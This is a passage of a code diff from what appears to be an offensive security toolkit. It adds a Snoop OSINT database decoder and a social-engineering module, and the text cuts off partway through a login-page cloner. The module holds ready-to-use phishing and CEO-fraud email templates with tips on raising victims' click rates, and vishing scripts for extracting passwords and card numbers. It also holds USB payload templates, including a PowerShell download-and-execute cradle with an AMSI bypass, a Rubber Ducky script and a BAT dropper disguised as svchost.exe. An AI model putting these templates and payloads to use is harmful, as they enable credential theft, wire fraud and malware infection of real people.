Colors +from core.sites_db import SitesDatabase + +# Module metadata +NAME = "Snoop Decoder" +DESCRIPTION = "Decrypt and import Snoop Project databases" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" + + +class SnoopDecoder: + """Decoder for Snoop Project encoded databases.""" + + def __init__(self): + self.sites_db = SitesDatabase() + from core.paths import get_data_dir + self.data_dir = get_data_dir() / "sites" + self.data_dir.mkdir(parents=True, exist_ok=True) + + def decode_database(self, filepath: str) -> dict: + """Decode a Snoop database file. + + Args: + filepath: Path to the encoded database file (BDdemo, BDfull, etc.) + + Returns: + Decoded dictionary of sites. + """ + print(f"{Colors.CYAN}[*] Reading encoded database...{Colors.RESET}") + + with open(filepath, 'r', encoding='utf8') as f: + db = f.read().strip() + + original_size = len(db) + print(f"{Colors.DIM} Original size: {original_size:,} chars{Colors.RESET}") + + # Step 1: Decode base32 + print(f"{Colors.CYAN}[*] Decoding base32...{Colors.RESET}") + try: + db_bytes = base64.b32decode(db) + except Exception as e: + print(f"{Colors.RED}[X] Base32 decode failed: {e}{Colors.RESET}") + return None + + print(f"{Colors.DIM} After base32: {len(db_bytes):,} bytes{Colors.RESET}") + + # Step 2: Reverse bytes + print(f"{Colors.CYAN}[*] Reversing byte order...{Colors.RESET}") + db_bytes = db_bytes[::-1] + + # Step 3: Decode UTF-8 with error handling + print(f"{Colors.CYAN}[*] Decoding UTF-8...{Colors.RESET}") + content = db_bytes.decode('utf-8', errors='replace') + + # Step 4: Reverse string + print(f"{Colors.CYAN}[*] Reversing string...{Colors.RESET}") + content = content[::-1] + + # Step 5: Parse JSON + print(f"{Colors.CYAN}[*] Parsing JSON...{Colors.RESET}") + try: + data = json.loads(content) + except json.JSONDecodeError as e: + print(f"{Colors.RED}[X] JSON parse failed: {e}{Colors.RESET}") + return None + + print(f"{Colors.GREEN}[+] Successfully decoded {len(data):,} sites!{Colors.RESET}") + return data + + def save_decoded(self, data: dict, output_name: str = "snoop_decoded.json") -> str: + """Save decoded database to JSON file. + + Args: + data: Decoded site dictionary. + output_name: Output filename. + + Returns: + Path to saved file. + """ + output_path = self.data_dir / output_name + + with open(output_path, 'w', encoding='utf8') as f: + json.dump(data, f, indent=2, ensure_ascii=False) + + size_mb = output_path.stat().st_size / 1024 / 1024 + print(f"{Colors.GREEN}[+] Saved to: {output_path}{Colors.RESET}") + print(f"{Colors.DIM} File size: {size_mb:.2f} MB{Colors.RESET}") + + return str(output_path) + + def import_to_database(self, data: dict) -> dict: + """Import decoded Snoop data into AUTARCH sites database. + + Args: + data: Decoded site dictionary. + + Returns: + Import statistics. + """ + print(f"\n{Colors.CYAN}[*] Importing to AUTARCH database...{Colors.RESET}") + + sites_to_add = [] + skipped = 0 + + for name, entry in data.items(): + if not isinstance(entry, dict): + skipped += 1 + continue + + url = entry.get('url', '') + if not url or '{}' not in url: + skipped += 1 + continue + + # Get error type - handle encoding issues in key name + error_type = None + for key in entry.keys(): + if 'errorTyp' in key or 'errortype' in key.lower(): + error_type = entry[key] + break + + # Map Snoop error types to detection methods + detection_method = 'status' + if error_type: + if 'message' in str(error_type).lower(): + detection_method = 'content' + elif 'redirect' in str(error_type).lower(): + detection_method = 'redirect' + + # Get error message pattern + error_pattern = None + for key in ['errorMsg', 'errorMsg2']: + if key in entry and entry[key]: + error_pattern = str(entry[key]) + break + + sites_to_add.append({ + 'name': name, + 'url_template': url, + 'url_main': entry.get('urlMain'), + 'detection_method': detection_method, + 'error_pattern': error_pattern, + 'category': 'other', + 'nsfw': 0, + }) + + print(f"{Colors.DIM} Valid sites: {len(sites_to_add):,}{Colors.RESET}") + print(f"{Colors.DIM} Skipped: {skipped:,}{Colors.RESET}") + + # Add to database + stats = self.sites_db.add_sites_bulk(sites_to_add) + + print(f"{Colors.GREEN}[+] Import complete!{Colors.RESET}") + print(f"{Colors.DIM} Added: {stats['added']:,}{Colors.RESET}") + print(f"{Colors.DIM} Errors: {stats['errors']:,}{Colors.RESET}") + + return stats + + def show_sample(self, data: dict, count: int = 10): + """Display sample sites from decoded database. + + Args: + data: Decoded site dictionary. + count: Number of samples to show. + """ + print(f"\n{Colors.CYAN}Sample Sites ({count}):{Colors.RESET}") + print("-" * 60) + + for i, (name, info) in enumerate(list(data.items())[:count]): + url = info.get('url', 'N/A') + country = info.get('country', '') + print(f" {country} {Colors.GREEN}{name}{Colors.RESET}") + print(f" {Colors.DIM}{url[:55]}...{Colors.RESET}" if len(url) > 55 else f" {Colors.DIM}{url}{Colors.RESET}") + + def get_stats(self, data: dict) -> dict: + """Get statistics about decoded database. + + Args: + data: Decoded site dictionary. + + Returns: + Statistics dictionary. + """ + stats = { + 'total_sites': len(data), + 'by_country': {}, + 'detection_methods': {'status_code': 0, 'message': 0, 'redirection': 0, 'other': 0}, + } + + for name, info in data.items(): + # Country stats + country = info.get('country_klas', 'Unknown') + stats['by_country'][country] = stats['by_country'].get(country, 0) + 1 + + # Detection method stats + error_type = None + for key in info.keys(): + if 'errorTyp' in key: + error_type = str(info[key]).lower() + break + + if error_type: + if 'status' in error_type: + stats['detection_methods']['status_code'] += 1 + elif 'message' in error_type: + stats['detection_methods']['message'] += 1 + elif 'redirect' in error_type: + stats['detection_methods']['redirection'] += 1 + else: + stats['detection_methods']['other'] += 1 + else: + stats['detection_methods']['other'] += 1 + + return stats + + +def display_menu(): + """Display the Snoop Decoder menu.""" + print(f""" +{Colors.CYAN} Snoop Database Decoder{Colors.RESET} +{Colors.DIM} Decrypt and import Snoop Project databases{Colors.RESET} +{Colors.DIM}{'─' * 50}{Colors.RESET} + + {Colors.GREEN}[1]{Colors.RESET} Decode Snoop Database File + {Colors.GREEN}[2]{Colors.RESET} Decode & Import to AUTARCH + {Colors.GREEN}[3]{Colors.RESET} View Current Sites Database Stats + + {Colors.GREEN}[4]{Colors.RESET} Quick Import (BDfull from snoop-master) + {Colors.GREEN}[5]{Colors.RESET} Quick Import (BDdemo from snoop-master) + + {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu +""") + + +def get_file_path() -> str: + """Prompt user for file path.""" + print(f"\n{Colors.CYAN}Enter path to Snoop database file:{Colors.RESET}") + print(f"{Colors.DIM}(e.g., /path/to/BDfull or /path/to/BDdemo){Colors.RESET}") + + filepath = input(f"\n{Colors.GREEN}Path: {Colors.RESET}").strip() + + if not filepath: + return None + + if not os.path.exists(filepath): + print(f"{Colors.RED}[X] File not found: {filepath}{Colors.RESET}") + return None + + return filepath + + +def run(): + """Main entry point for the module.""" + decoder = SnoopDecoder() + + # Common paths for Snoop databases + from core.paths import get_app_dir, get_data_dir + _app = get_app_dir() + _data = get_data_dir() + snoop_paths = { + 'bdfull': _app / "snoop" / "snoop-master" / "BDfull", + 'bddemo': _app / "snoop" / "snoop-master" / "BDdemo", + 'bdfull_alt': _data / "snoop" / "BDfull", + 'bddemo_alt': _data / "snoop" / "BDdemo", + } + + while True: + display_menu() + + choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + # Decode only + filepath = get_file_path() + if not filepath: + continue + + data = decoder.decode_database(filepath) + if data: + decoder.show_sample(data) + + stats = decoder.get_stats(data) + print(f"\n{Colors.CYAN}Database Statistics:{Colors.RESET}") + print(f" Total sites: {stats['total_sites']:,}") + print(f" Detection methods: {stats['detection_methods']}") + print(f" Top countries: {dict(sorted(stats['by_country'].items(), key=lambda x: -x[1])[:10])}") + + # Ask to save + save = input(f"\n{Colors.YELLOW}Save decoded JSON? (y/n): {Colors.RESET}").strip().lower() + if save == 'y': + name = input(f"{Colors.GREEN}Output filename [snoop_decoded.json]: {Colors.RESET}").strip() + decoder.save_decoded(data, name if name else "snoop_decoded.json") + + elif choice == '2': + # Decode and import + filepath = get_file_path() + if not filepath: + continue + + data = decoder.decode_database(filepath) + if data: + decoder.show_sample(data, 5) + + confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites to AUTARCH? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + # Save first + decoder.save_decoded(data, "snoop_imported.json") + # Then import + decoder.import_to_database(data) + + # Show final stats + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + + elif choice == '3': + # View current stats + stats = decoder.sites_db.get_stats() + print(f"\n{Colors.CYAN}AUTARCH Sites Database:{Colors.RESET}") + print(f" Total sites: {stats['total_sites']:,}") + print(f" NSFW sites: {stats['nsfw_sites']:,}") + print(f" Database size: {stats['db_size_mb']:.2f} MB") + print(f"\n {Colors.CYAN}By Source:{Colors.RESET}") + for source, count in sorted(stats['by_source'].items(), key=lambda x: -x[1]): + print(f" {source}: {count:,}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '4': + # Quick import BDfull + bdpath = None + for key in ['bdfull', 'bdfull_alt']: + if snoop_paths[key].exists(): + bdpath = str(snoop_paths[key]) + break + + if not bdpath: + print(f"{Colors.RED}[X] BDfull not found in known locations{Colors.RESET}") + print(f"{Colors.DIM} Checked: {snoop_paths['bdfull']}{Colors.RESET}") + print(f"{Colors.DIM} Checked: {snoop_paths['bdfull_alt']}{Colors.RESET}") + continue + + print(f"{Colors.GREEN}[+] Found BDfull: {bdpath}{Colors.RESET}") + + data = decoder.decode_database(bdpath) + if data: + confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + decoder.save_decoded(data, "snoop_full.json") + decoder.import_to_database(data) + + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + + elif choice == '5': + # Quick import BDdemo + bdpath = None + for key in ['bddemo', 'bddemo_alt']: + if snoop_paths[key].exists(): + bdpath = str(snoop_paths[key]) + break + + if not bdpath: + print(f"{Colors.RED}[X] BDdemo not found in known locations{Colors.RESET}") + continue + + print(f"{Colors.GREEN}[+] Found BDdemo: {bdpath}{Colors.RESET}") + + data = decoder.decode_database(bdpath) + if data: + confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + decoder.save_decoded(data, "snoop_demo.json") + decoder.import_to_database(data) + + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + + else: + print(f"{Colors.RED}[!] Invalid option{Colors.RESET}") + + +if __name__ == "__main__": + run() diff --git a/modules/social_eng.py b/modules/social_eng.py new file mode 100644 index 0000000..1f62083 --- /dev/null +++ b/modules/social_eng.py @@ -0,0 +1,1305 @@ +"""AUTARCH Social Engineering Toolkit + +Credential harvesting page cloner, pretexting templates, QR code phishing, +USB drop payloads, vishing scripts, and campaign tracking. +""" + +DESCRIPTION = "Social engineering — phishing, pretexts, QR codes" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import uuid +import base64 +import struct +import hashlib +import threading +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from urllib.parse import urljoin, urlparse + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests + REQUESTS_AVAILABLE = True +except ImportError: + requests = None + REQUESTS_AVAILABLE = False + +try: + import qrcode + import io as _io + QRCODE_AVAILABLE = True +except ImportError: + qrcode = None + QRCODE_AVAILABLE = False + + +# ── Pretext Templates ──────────────────────────────────────────────────────── + +PRETEXT_TEMPLATES = { + 'it_support': [ + { + 'name': 'Password Reset', + 'subject': 'Immediate Action Required: Password Reset', + 'body': ( + 'Dear {target_name},\n\n' + 'Our security team has detected unusual activity on your account. ' + 'As a precautionary measure, we require all employees to reset their ' + 'passwords within the next 24 hours.\n\n' + 'Please click the link below to verify your identity and set a new password:\n' + '{link}\n\n' + 'If you did not request this change, please contact the IT Help Desk immediately ' + 'at ext. 4357.\n\n' + 'Best regards,\n' + 'IT Security Team' + ), + 'pretext_notes': 'Urgency + authority. Works best when sent from a spoofed IT domain. ' + 'Follow up with a phone call referencing the email for higher success rates.', + }, + { + 'name': 'Security Update Required', + 'subject': 'Critical Security Patch — Action Required by EOD', + 'body': ( + 'Hi {target_name},\n\n' + 'A critical security vulnerability has been identified that affects your workstation. ' + 'IT has prepared an automated patch that must be installed today.\n\n' + 'Please run the update tool at the link below:\n' + '{link}\n\n' + 'Note: You may need to enter your network credentials to authenticate the update.\n\n' + 'Thank you for your cooperation,\n' + 'IT Infrastructure Team' + ), + 'pretext_notes': 'Leverages fear of security breach. Pair with a fake update portal.', + }, + { + 'name': 'VPN Reconfiguration', + 'subject': 'VPN Client Reconfiguration — New Certificate Required', + 'body': ( + 'Dear {target_name},\n\n' + 'Due to our migration to a new security infrastructure, all VPN certificates ' + 'will expire at midnight tonight. To maintain remote access, please download ' + 'the new VPN configuration file:\n' + '{link}\n\n' + 'You will need to authenticate with your current credentials to generate ' + 'a new certificate.\n\n' + 'Questions? Contact the Network Operations Center at noc@{domain}\n\n' + 'Regards,\n' + 'Network Security Team' + ), + 'pretext_notes': 'Effective against remote workers. The VPN config file can be a payload.', + }, + ], + 'hr': [ + { + 'name': 'Benefits Enrollment', + 'subject': 'Open Enrollment Period — Benefits Selection Deadline', + 'body': ( + 'Dear {target_name},\n\n' + 'The annual open enrollment period for employee benefits closes on Friday. ' + 'If you have not yet made your selections, please log in to the benefits ' + 'portal to review your options:\n' + '{link}\n\n' + 'Failure to complete enrollment by the deadline will result in default ' + 'coverage being applied.\n\n' + 'Human Resources Department' + ), + 'pretext_notes': 'Time pressure on something people care about. High click rates.', + }, + { + 'name': 'Policy Update Acknowledgement', + 'subject': 'Updated Company Policy — Acknowledgement Required', + 'body': ( + 'Dear {target_name},\n\n' + 'Our legal department has updated the Employee Handbook and Acceptable Use Policy. ' + 'All employees are required to review and acknowledge the changes by {deadline}.\n\n' + 'Please read and sign the updated documents here:\n' + '{link}\n\n' + 'Thank you,\n' + 'HR Compliance' + ), + 'pretext_notes': 'Compliance obligation creates urgency. Rarely questioned.', + }, + { + 'name': 'Employee Survey', + 'subject': 'Annual Employee Satisfaction Survey — Your Input Matters', + 'body': ( + 'Hi {target_name},\n\n' + 'We value your feedback! Please take 5 minutes to complete our annual ' + 'employee satisfaction survey. Your responses are anonymous and will help ' + 'shape company improvements.\n\n' + 'Complete the survey here: {link}\n\n' + 'Survey closes {deadline}.\n\n' + 'Thank you,\n' + 'People & Culture Team' + ), + 'pretext_notes': 'Low suspicion — surveys are common. Good for initial reconnaissance.', + }, + ], + 'vendor': [ + { + 'name': 'Invoice Payment', + 'subject': 'Invoice #{invoice_num} — Payment Due', + 'body': ( + 'Dear Accounts Payable,\n\n' + 'Please find attached Invoice #{invoice_num} for services rendered during ' + 'the previous billing period. Payment is due within 30 days.\n\n' + 'To view and pay the invoice online:\n' + '{link}\n\n' + 'If you have questions about this invoice, please contact our billing ' + 'department at billing@{vendor_domain}\n\n' + 'Best regards,\n' + '{vendor_name}\n' + 'Accounts Receivable' + ), + 'pretext_notes': 'Target finance/AP departments. Research real vendor names first.', + }, + { + 'name': 'Service Renewal', + 'subject': 'Service Agreement Renewal — Action Required', + 'body': ( + 'Dear {target_name},\n\n' + 'Your {service_name} subscription is due for renewal on {deadline}. ' + 'To avoid service interruption, please review and approve the renewal terms:\n' + '{link}\n\n' + 'Current plan: {plan_name}\n' + 'Renewal amount: ${amount}\n\n' + 'Best regards,\n' + '{vendor_name} Renewals Team' + ), + 'pretext_notes': 'Service disruption fear. Research the target\'s actual vendors.', + }, + { + 'name': 'Account Verification', + 'subject': 'Account Security Verification Required', + 'body': ( + 'Dear {target_name},\n\n' + 'As part of our ongoing security measures, we need to verify your account ' + 'information. Please log in and confirm your details:\n' + '{link}\n\n' + 'If you do not verify within 48 hours, your account may be temporarily suspended.\n\n' + 'Thank you,\n' + '{vendor_name} Security Team' + ), + 'pretext_notes': 'Account suspension threat. Clone the vendor login page for harvesting.', + }, + ], + 'delivery': [ + { + 'name': 'Package Tracking', + 'subject': 'Your Package Has Shipped — Tracking #{tracking_num}', + 'body': ( + 'Your order has been shipped!\n\n' + 'Tracking Number: {tracking_num}\n' + 'Estimated Delivery: {delivery_date}\n\n' + 'Track your package in real-time:\n' + '{link}\n\n' + 'If you did not place this order, click here to report unauthorized activity:\n' + '{link}\n\n' + '{carrier_name} Shipping Notifications' + ), + 'pretext_notes': 'Curiosity + concern about unexpected package. High click rates.', + }, + { + 'name': 'Missed Delivery', + 'subject': 'Delivery Attempt Failed — Reschedule Required', + 'body': ( + 'We attempted to deliver your package today but no one was available to sign.\n\n' + 'Tracking: {tracking_num}\n' + 'Attempt: {attempt_date}\n\n' + 'To reschedule delivery or redirect to a pickup location:\n' + '{link}\n\n' + 'Your package will be held for 5 business days before being returned.\n\n' + '{carrier_name} Delivery Services' + ), + 'pretext_notes': 'Fear of missing a delivery. Works broadly across all demographics.', + }, + ], + 'executive': [ + { + 'name': 'CEO Wire Transfer', + 'subject': 'Urgent — Wire Transfer Needed Today', + 'body': ( + 'Hi {target_name},\n\n' + 'I need you to process an urgent wire transfer today. I am in meetings ' + 'all afternoon and cannot handle this myself.\n\n' + 'Amount: ${amount}\n' + 'Recipient: {recipient}\n' + 'Account details are in the attached document: {link}\n\n' + 'Please confirm once completed. This is time-sensitive.\n\n' + 'Thanks,\n' + '{exec_name}\n' + '{exec_title}' + ), + 'pretext_notes': 'Classic BEC/CEO fraud. Requires OSINT on exec names and targets in finance.', + }, + { + 'name': 'Confidential Acquisition', + 'subject': 'Confidential — M&A Due Diligence Documents', + 'body': ( + '{target_name},\n\n' + 'As discussed, I am sharing the preliminary due diligence documents for the ' + 'upcoming acquisition. This is strictly confidential — do not forward.\n\n' + 'Secure document portal: {link}\n\n' + 'Please review before our meeting on {meeting_date}.\n\n' + '{exec_name}\n' + '{exec_title}' + ), + 'pretext_notes': 'Flattery (being included in confidential deal) + authority. ' + 'Target senior staff who would plausibly be involved.', + }, + ], + 'financial': [ + { + 'name': 'Wire Transfer Confirmation', + 'subject': 'Wire Transfer Confirmation — ${amount}', + 'body': ( + 'Dear {target_name},\n\n' + 'A wire transfer of ${amount} has been initiated from your account.\n\n' + 'Transaction ID: {txn_id}\n' + 'Date: {txn_date}\n' + 'Recipient: {recipient}\n\n' + 'If you authorized this transaction, no action is needed.\n' + 'If you did NOT authorize this transfer, click below immediately:\n' + '{link}\n\n' + '{bank_name} Fraud Prevention' + ), + 'pretext_notes': 'Panic about unauthorized money movement. Very high click rates.', + }, + { + 'name': 'Tax Document', + 'subject': 'Your {tax_year} Tax Documents Are Ready', + 'body': ( + 'Dear {target_name},\n\n' + 'Your {tax_year} W-2 / 1099 tax documents are now available for download ' + 'through our secure portal:\n' + '{link}\n\n' + 'Please retrieve your documents before the filing deadline.\n\n' + 'Payroll Department\n' + '{company_name}' + ), + 'pretext_notes': 'Seasonal — most effective in January-April. Targets everyone.', + }, + ], +} + + +# ── USB Payload Templates ──────────────────────────────────────────────────── + +USB_PAYLOAD_TEMPLATES = { + 'autorun': { + 'name': 'Autorun.inf', + 'description': 'Classic autorun — triggers executable on USB insert (legacy systems)', + 'template': ( + '[autorun]\n' + 'open={executable}\n' + 'icon={icon}\n' + 'action=Open folder to view files\n' + 'label={label}\n' + 'shell\\open\\command={executable}\n' + 'shell\\explore\\command={executable}\n' + ), + }, + 'powershell_cradle': { + 'name': 'PowerShell Download Cradle', + 'description': 'PS1 script disguised as document — downloads and executes payload', + 'template': ( + '# Disguise: rename to something enticing like "Salary_Review_2026.pdf.ps1"\n' + '$ErrorActionPreference = "SilentlyContinue"\n' + '# Disable AMSI for this session\n' + '[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").' + 'GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)\n' + '# Download and execute\n' + '$u = "{payload_url}"\n' + '$c = (New-Object System.Net.WebClient).DownloadString($u)\n' + 'IEX($c)\n' + '# Optional: open a decoy document\n' + '# Start-Process "https://hr.company.com/benefits"\n' + ), + }, + 'hid_script': { + 'name': 'HID Script (Rubber Ducky DuckyScript)', + 'description': 'USB HID attack — keystroke injection via Rubber Ducky / BadUSB', + 'template': ( + 'REM AUTARCH USB HID Payload\n' + 'REM Target: Windows\n' + 'DELAY 1000\n' + 'GUI r\n' + 'DELAY 500\n' + 'STRING powershell -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString(\'{payload_url}\'))"\n' + 'DELAY 100\n' + 'ENTER\n' + 'DELAY 2000\n' + 'REM Payload delivered\n' + ), + }, + 'bat_file': { + 'name': 'BAT File Dropper', + 'description': 'Batch file disguised as document shortcut — downloads and runs payload', + 'template': ( + '@echo off\n' + 'title Opening Document...\n' + 'echo Please wait while the document loads...\n' + 'REM Download payload\n' + 'powershell -w hidden -ep bypass -c "' + '$c=New-Object Net.WebClient;' + '$c.DownloadFile(\'{payload_url}\',\'%TEMP%\\svchost.exe\');' + 'Start-Process \'%TEMP%\\svchost.exe\'"\n' + 'REM Open decoy\n' + 'start "" "{decoy_url}"\n' + 'exit\n' + ), + }, + 'lnk_dropper': { + 'name': 'LNK Shortcut Dropper', + 'description': 'Windows shortcut file command — executes hidden PowerShell on click', + 'template': ( + 'REM Create this LNK with target:\n' + 'REM %comspec% /c powershell -w hidden -ep bypass -c "' + 'IEX((New-Object Net.WebClient).DownloadString(\'{payload_url}\'))"\n' + 'REM Icon: shell32.dll,3 (folder icon) or shell32.dll,1 (document)\n' + 'REM Name: Quarterly_Report or Shared_Photos\n' + ), + }, + 'html_smuggling': { + 'name': 'HTML Smuggling', + 'description': 'HTML file that assembles and drops a payload via JavaScript', + 'template': ( + '\n' + '{title}\n' + '\n' + '

    Loading document...

    \n' + '

    If the download does not start automatically, click here.

    \n' + '\n' + '\n' + ), + }, +} + + +# ── Vishing Scripts ────────────────────────────────────────────────────────── + +VISHING_SCRIPTS = { + 'it_helpdesk': { + 'name': 'IT Help Desk Call', + 'description': 'Impersonate IT support to extract credentials or install remote access', + 'opening': ( + 'Hello, this is {caller_name} from the IT Help Desk. ' + 'We are seeing some unusual activity on your network account and I need ' + 'to verify a few things with you to make sure your account is secure.' + ), + 'key_questions': [ + 'Can you confirm your full name and employee ID for verification?', + 'What department are you in?', + 'Are you currently logged in to your workstation?', + 'Have you noticed any unusual behavior — slow performance, unexpected pop-ups?', + 'I am going to need to push a security update to your machine. Can you open a browser and go to {url}?', + ], + 'credential_extraction': ( + 'I need to verify your account is not compromised. Can you enter your ' + 'username and current password on the verification page I just sent you? ' + 'This is a secure IT portal — your credentials are encrypted.' + ), + 'objection_handling': { + 'why_calling': 'Our monitoring system flagged your account. We are reaching out to all affected users proactively.', + 'how_verify_you': 'You can call back on the main IT line at {phone} and ask for {caller_name} in Security Operations.', + 'not_comfortable': 'I completely understand. Let me have my supervisor {supervisor_name} call you back within 10 minutes.', + 'will_call_back': 'Of course. Please call the Help Desk at {phone} before 5 PM today, as we need to resolve this within our response window.', + }, + 'closing': 'Thank you for your cooperation. I have updated your account status. If you notice anything unusual, call us at {phone}.', + }, + 'bank_fraud': { + 'name': 'Bank Fraud Alert', + 'description': 'Impersonate bank fraud department to extract account details', + 'opening': ( + 'Hello, this is {caller_name} from the {bank_name} Fraud Prevention Department. ' + 'We are calling because we have detected a suspicious transaction on your account ' + 'and we need to verify some information before we can proceed with blocking it.' + ), + 'key_questions': [ + 'For verification, can you confirm the last four digits of your account number?', + 'What is the billing address associated with this account?', + 'Did you authorize a transaction of ${amount} to {merchant} on {date}?', + 'I need to verify your identity. Can you provide your date of birth?', + ], + 'credential_extraction': ( + 'To block the fraudulent transaction and secure your account, I will need to ' + 'verify your full card number and the security code on the back. This is to ' + 'confirm you are the authorized account holder.' + ), + 'objection_handling': { + 'why_calling': 'Our automated fraud detection system flagged a ${amount} charge that does not match your normal spending pattern.', + 'how_verify_you': 'You can call the number on the back of your card and ask to be transferred to the fraud department.', + 'not_comfortable': 'I understand your concern. For your protection, I can place a temporary hold on the card while you verify through the bank app.', + 'will_call_back': 'Absolutely. Please call the number on the back of your card within the hour. Reference case number {case_num}.', + }, + 'closing': 'I have placed a temporary hold on the suspicious transaction. You will receive a confirmation text shortly. Is there anything else I can help with?', + }, + 'vendor_support': { + 'name': 'Vendor Technical Support', + 'description': 'Impersonate software vendor support for remote access installation', + 'opening': ( + 'Hi, this is {caller_name} with {vendor_name} Support. We noticed that your ' + 'organization\'s {product_name} license is showing some configuration errors ' + 'that could lead to data loss. I\'d like to help resolve this quickly.' + ), + 'key_questions': [ + 'Who is the primary administrator for your {product_name} installation?', + 'What version are you currently running?', + 'Are you able to access the admin console right now?', + 'I may need to connect remotely to diagnose the issue. Do you have remote access software available?', + ], + 'credential_extraction': ( + 'To apply the fix, I will need your admin credentials for {product_name}. ' + 'Alternatively, you can grant me temporary admin access through the portal at {url}.' + ), + 'objection_handling': { + 'why_calling': 'Our monitoring detected your instance is running a configuration that was flagged in security bulletin {bulletin_id}.', + 'how_verify_you': 'You can verify this call by contacting {vendor_name} support at {phone} and referencing ticket {ticket_id}.', + 'not_comfortable': 'No problem. I can send you detailed instructions via email and you can perform the fix yourself.', + 'will_call_back': 'Sure. The support ticket is {ticket_id}. Please call us back within 24 hours before the issue escalates.', + }, + 'closing': 'The configuration has been updated. You should see the fix reflected within the next hour. If any issues arise, reference ticket {ticket_id}.', + }, + 'ceo_urgent': { + 'name': 'CEO Urgent Request', + 'description': 'Impersonate executive for urgent financial action', + 'opening': ( + 'Hi {target_name}, this is {exec_name}. I know this is short notice, ' + 'but I need your help with something urgent and confidential. I am tied up ' + 'in a board meeting and cannot handle this myself right now.' + ), + 'key_questions': [ + 'Are you at your desk right now?', + 'Can you access the accounts payable system?', + 'Have you processed international wire transfers before?', + ], + 'credential_extraction': ( + 'I need you to process a wire transfer for a time-sensitive acquisition. ' + 'The details are in a secure document I will email you. Please use your ' + 'credentials to authorize the transfer immediately.' + ), + 'objection_handling': { + 'why_calling': 'This is related to a confidential acquisition. I cannot discuss details over email for legal reasons.', + 'need_approval': 'I\'ve already approved this with the CFO. You can verify with {cfo_name} after the transfer — but we need to move now.', + 'not_comfortable': 'I understand, but this cannot wait. I\'ll take full responsibility. Just process it and I\'ll sign the authorization form when I\'m out of this meeting.', + 'unusual_request': 'I know this is irregular. That\'s why I\'m calling you personally instead of sending an email.', + }, + 'closing': 'Thank you for handling this so quickly. I really appreciate it. I will follow up with the paperwork once I am out of this meeting.', + }, +} + + +# ── Social Engineering Toolkit Class ───────────────────────────────────────── + +class SocialEngToolkit: + """Social engineering toolkit — page cloning, pretexts, QR codes, USB payloads.""" + + def __init__(self): + self._data_dir = Path(get_data_dir()) / 'social_eng' + self._pages_dir = self._data_dir / 'pages' + self._captures_path = self._data_dir / 'captures.json' + self._campaigns_path = self._data_dir / 'campaigns.json' + self._qr_dir = self._data_dir / 'qr' + + # Ensure directories + self._pages_dir.mkdir(parents=True, exist_ok=True) + self._qr_dir.mkdir(parents=True, exist_ok=True) + + # Load persistent state + self._captures = self._load_json(self._captures_path, []) + self._campaigns = self._load_json(self._campaigns_path, []) + + # ── Persistence helpers ────────────────────────────────────────────────── + + @staticmethod + def _load_json(path: Path, default=None): + try: + if path.exists(): + with open(path, 'r', encoding='utf-8') as f: + return json.load(f) + except (json.JSONDecodeError, OSError): + pass + return default if default is not None else {} + + def _save_captures(self): + with open(self._captures_path, 'w', encoding='utf-8') as f: + json.dump(self._captures, f, indent=2, default=str) + + def _save_campaigns(self): + with open(self._campaigns_path, 'w', encoding='utf-8') as f: + json.dump(self._campaigns, f, indent=2, default=str) + + # ── Page Cloning ───────────────────────────────────────────────────────── + + def clone_page(self, url: str, output_dir: str = None) -> Dict[str, Any]: + """Fetch a login page, rewrite form actions to AUTARCH capture endpoint. + + Returns dict with ok, page_id, path, and file details. + """ + if not REQUESTS_AVAILABLE: + return {'ok': False, 'error': 'requests library not installed'} + + try: + parsed = urlparse(url) + if not parsed.scheme: + url = 'https://' + url + parsed = urlparse(url) + + resp = requests.get(url, timeout=15, headers={ + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' + 'AppleWebKit/537.36 (KHTML, like Gecko) ' + 'Chrome/120.0.0.0 Safari/537.36' + }, verify=False) + resp.raise_for_status() + + page_id = hashlib.md5(url.encode()).hexdigest()[:12] + page_dir = Path(output_dir) if output_dir else self._pages_dir / page_id + page_dir.mkdir(parents=True, exist_ok=True) + + html = resp.text + base_url = f"{parsed.scheme}://{parsed.netloc}" + + # Rewrite relative URLs for resources + html = re.sub( + r'(src|href)=(["\'])(?!/|https?://)', + lambda m: f'{m.group(1)}={m.group(2)}{base_url}/', + html + ) + + # Rewrite form actions to point to AUTARCH capture endpoint + html = re.sub( + r']*?)action=(["\'])[^"\']*\2', + f'